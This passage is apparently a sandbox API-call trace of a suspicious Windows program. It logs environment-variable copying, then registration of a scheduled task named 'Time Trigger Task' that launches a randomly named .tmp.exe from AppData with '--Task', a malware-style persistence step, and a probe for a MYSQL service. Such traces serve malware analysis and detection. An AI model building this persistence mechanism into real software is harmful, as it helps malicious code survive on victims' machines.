lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0049.195] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x48) returned 0x79e0638 [0049.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x79e0638, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0049.195] GetLastError () returned 0x0 [0049.195] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79bc340) returned 0x4c [0049.195] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79bc340, Size=0x50) returned 0x79bc398 [0049.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0049.195] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x12) returned 0x79b3b68 [0049.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x79b3b68, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0049.195] GetLastError () returned 0x0 [0049.195] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79bc398) returned 0x50 [0049.195] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79bc398, Size=0x54) returned 0x79ce648 [0049.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0049.195] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x18) returned 0x79b3ba8 [0049.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x79b3ba8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5e03", lpUsedDefaultChar=0x0) returned 24 [0049.195] GetLastError () returned 0x0 [0049.195] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79ce648) returned 0x54 [0049.195] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79ce648, Size=0x58) returned 0x79ce6a8 [0049.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0049.196] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x1b) returned 0x79bd508 [0049.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x79bd508, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0049.196] GetLastError () returned 0x0 [0049.196] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79ce6a8) returned 0x58 [0049.196] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79ce6a8, Size=0x5c) returned 0x793ae38 [0049.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0049.196] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x24) returned 0x7a002f8 [0049.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x7a002f8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0049.196] GetLastError () returned 0x0 [0049.196] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x793ae38) returned 0x5c [0049.196] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x793ae38, Size=0x60) returned 0x793af08 [0049.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0049.196] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x29) returned 0x79a6a78 [0049.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x79a6a78, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0049.196] GetLastError () returned 0x0 [0049.196] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x793af08) returned 0x60 [0049.196] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x793af08, Size=0x64) returned 0x792a368 [0049.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0049.196] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x1e) returned 0x79bd530 [0049.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x79bd530, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0049.196] GetLastError () returned 0x0 [0049.196] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x792a368) returned 0x64 [0049.196] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x792a368, Size=0x68) returned 0x792a448 [0049.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0049.196] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x41) returned 0x79e05e8 [0049.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x79e05e8, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0049.196] GetLastError () returned 0x0 [0049.196] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x792a448) returned 0x68 [0049.196] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x792a448, Size=0x6c) returned 0x79adcb8 [0049.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0049.196] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x17) returned 0x79b3bc8 [0049.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x79b3bc8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0049.196] GetLastError () returned 0x0 [0049.197] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79adcb8) returned 0x6c [0049.197] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79adcb8, Size=0x70) returned 0x79be4b8 [0049.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0049.197] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0xf) returned 0x79c3798 [0049.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x79c3798, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0049.197] GetLastError () returned 0x0 [0049.197] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79be4b8) returned 0x70 [0049.197] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79be4b8, Size=0x74) returned 0x50df1f8 [0049.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0049.197] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x16) returned 0x79b3c08 [0049.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x79b3c08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0049.197] GetLastError () returned 0x0 [0049.197] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x50df1f8) returned 0x74 [0049.197] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x50df1f8, Size=0x78) returned 0x50df278 [0049.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0049.197] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x2a) returned 0x79a67a0 [0049.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x79a67a0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0049.197] GetLastError () returned 0x0 [0049.197] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x50df278) returned 0x78 [0049.197] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x50df278, Size=0x7c) returned 0x50cd258 [0049.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0049.197] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x29) returned 0x79a6a08 [0049.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x79a6a08, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0049.197] GetLastError () returned 0x0 [0049.197] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x50cd258) returned 0x7c [0049.197] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x50cd258, Size=0x80) returned 0x50cdd80 [0049.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0049.197] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x15) returned 0x79b3be8 [0049.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x79b3be8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0049.197] GetLastError () returned 0x0 [0049.197] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x50cdd80) returned 0x80 [0049.197] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x50cdd80, Size=0x84) returned 0x50db790 [0049.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0049.198] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x1e) returned 0x79bd558 [0049.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x79bd558, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0049.198] GetLastError () returned 0x0 [0049.198] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x50db790) returned 0x84 [0049.198] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x50db790, Size=0x88) returned 0x50dbb80 [0049.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0049.198] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x2a) returned 0x79a6ab0 [0049.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x79a6ab0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0049.198] GetLastError () returned 0x0 [0049.198] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x50dbb80) returned 0x88 [0049.198] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x50dbb80, Size=0x8c) returned 0x79823d8 [0049.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0049.198] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x12) returned 0x79b3c28 [0049.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x79b3c28, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0049.198] GetLastError () returned 0x0 [0049.198] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79823d8) returned 0x8c [0049.198] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79823d8, Size=0x90) returned 0x79823d8 [0049.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0049.198] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x18) returned 0x79b3c68 [0049.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x79b3c68, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0049.198] GetLastError () returned 0x0 [0049.198] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x79823d8) returned 0x90 [0049.198] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x79823d8, Size=0x94) returned 0x78d64e8 [0049.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0049.198] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x46) returned 0x79e0688 [0049.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x79e0688, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0049.198] GetLastError () returned 0x0 [0049.198] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x78d64e8) returned 0x94 [0049.198] RtlReAllocateHeap (Heap=0x4ff0000, Flags=0x0, Ptr=0x78d64e8, Size=0x98) returned 0x78d64e8 [0049.198] GetLastError () returned 0x0 [0049.198] GetTimeZoneInformation (in: lpTimeZoneInformation=0x45d3e0 | out: lpTimeZoneInformation=0x45d3e0) returned 0x1 [0049.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Standard Time", cchWideChar=-1, lpMultiByteStr=0x45bd20, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18b634 | out: lpMultiByteStr="AUS Eastern Standard Time", lpUsedDefaultChar=0x18b634) returned 26 [0049.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Daylight Time", cchWideChar=-1, lpMultiByteStr=0x45bd60, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18b634 | out: lpMultiByteStr="AUS Eastern Daylight Time", lpUsedDefaultChar=0x18b634) returned 26 [0049.200] GetLastError () returned 0x0 [0049.200] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x24) returned 0x7a00388 [0049.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x452028, cbMultiByte=-1, lpWideCharStr=0x7a00388, cchWideChar=18 | out: lpWideCharStr="%Y-%m-%dT%H:%M:%S") returned 18 [0049.200] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xa0) returned 0x7a008d8 [0049.200] GetLastError () returned 0x0 [0049.200] ITrigger:put_StartBoundary (This=0x70c0c00, StartBoundary="2019-08-24T16:33:03") returned 0x0 [0049.200] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79c37b0 | out: hHeap=0x4ff0000) returned 1 [0049.200] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79d3048 | out: hHeap=0x4ff0000) returned 1 [0049.200] IUnknown:Release (This=0x70c0c00) returned 0x1 [0049.200] ITaskDefinition:get_Actions (in: This=0x70c0950, ppActions=0x18bc00 | out: ppActions=0x18bc00*=0x70c09c8) returned 0x0 [0049.200] IActionCollection:Create (in: This=0x70c09c8, Type=0, ppAction=0x18bbec | out: ppAction=0x18bbec*=0x70c0c98) returned 0x0 [0049.200] IUnknown:Release (This=0x70c09c8) returned 0x1 [0049.200] IUnknown:QueryInterface (in: This=0x70c0c98, riid=0x45007c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x18bc08 | out: ppvObject=0x18bc08*=0x70c0c98) returned 0x0 [0049.200] IUnknown:Release (This=0x70c0c98) returned 0x2 [0049.200] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xc) returned 0x79c37b0 [0049.200] IExecAction:put_Path (This=0x70c0c98, Path="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe") returned 0x0 [0049.201] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79c37b0 | out: hHeap=0x4ff0000) returned 1 [0049.201] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xc) returned 0x79c37b0 [0049.201] IExecAction:put_Arguments (This=0x70c0c98, Arguments="--Task") returned 0x0 [0049.201] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79c37b0 | out: hHeap=0x4ff0000) returned 1 [0049.201] IUnknown:Release (This=0x70c0c98) returned 0x1 [0049.201] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xc) returned 0x79c37b0 [0049.201] ITaskFolder:RegisterTaskDefinition (in: This=0x70c0920, Path="Time Trigger Task", pDefinition=0x70c0950, flags=6, UserId=0x18b6a8*(varType=0x0, wReserved1=0x79c, wReserved2=0xbbbc, wReserved3=0x18, varVal1=0x41720b, varVal2=0x4ff0000), password=0x18b6b8*(varType=0x0, wReserved1=0x0, wReserved2=0xc0, wReserved3=0x0, varVal1=0x5f, varVal2=0x7), LogonType=3, sddl=0x18b6cc*(varType=0x8, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1="", varVal2=0xc8), ppTask=0x18bbd4 | out: ppTask=0x18bbd4*=0x70c0d18) returned 0x0 [0049.249] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79c37b0 | out: hHeap=0x4ff0000) returned 1 [0049.249] TaskScheduler:IUnknown:Release (This=0x70c0920) returned 0x0 [0049.249] TaskScheduler:IUnknown:Release (This=0x70c0950) returned 0x0 [0049.249] IUnknown:Release (This=0x70c0d18) returned 0x0 [0049.249] CoUninitialize () [0049.250] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79d9490 | out: hHeap=0x4ff0000) returned 1 [0049.250] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79d93c8 | out: hHeap=0x4ff0000) returned 1 [0049.250] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79d9238 | out: hHeap=0x4ff0000) returned 1 [0049.250] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x50d0990 [0049.250] OpenServiceW (hSCManager=0x50d0990, lpServiceName="MYSQL", dwDesiredAccess=0x20) returned 0x0 [0049.250] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x79bb1a8 [0049.250] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79c69a0 [0049.250] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79bf4a0 [0049.250] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79bf708 [0049.250] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79bf970 [0049.250] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79bfbd8 [0049.250] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79bfe40 [0049.251] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f28d8 [0049.251] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f2b40 [0049.251] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f2da8 [0049.251] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f3010 [0049.251] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f3278 [0049.251] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f34e0 [0049.251] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f3748 [0049.251] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f39b0 [0049.251] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f3c18 [0049.251] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79f3e80 [0049.251] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xa0) returned 0x7a008d8 [0049.251] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x110) returned 0x79c6c08 [0049.251] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a008d8 | out: hHeap=0x4ff0000) returned 1 [0049.251] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x110) returned 0x7996700 [0049.251] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x414280, lpParameter=0x79cfed8, dwCreationFlags=0x0, lpThreadId=0x45d9b8 | out: lpThreadId=0x45d9b8*=0x83c) returned 0x5b0 [0049.456] HeapFree (in: 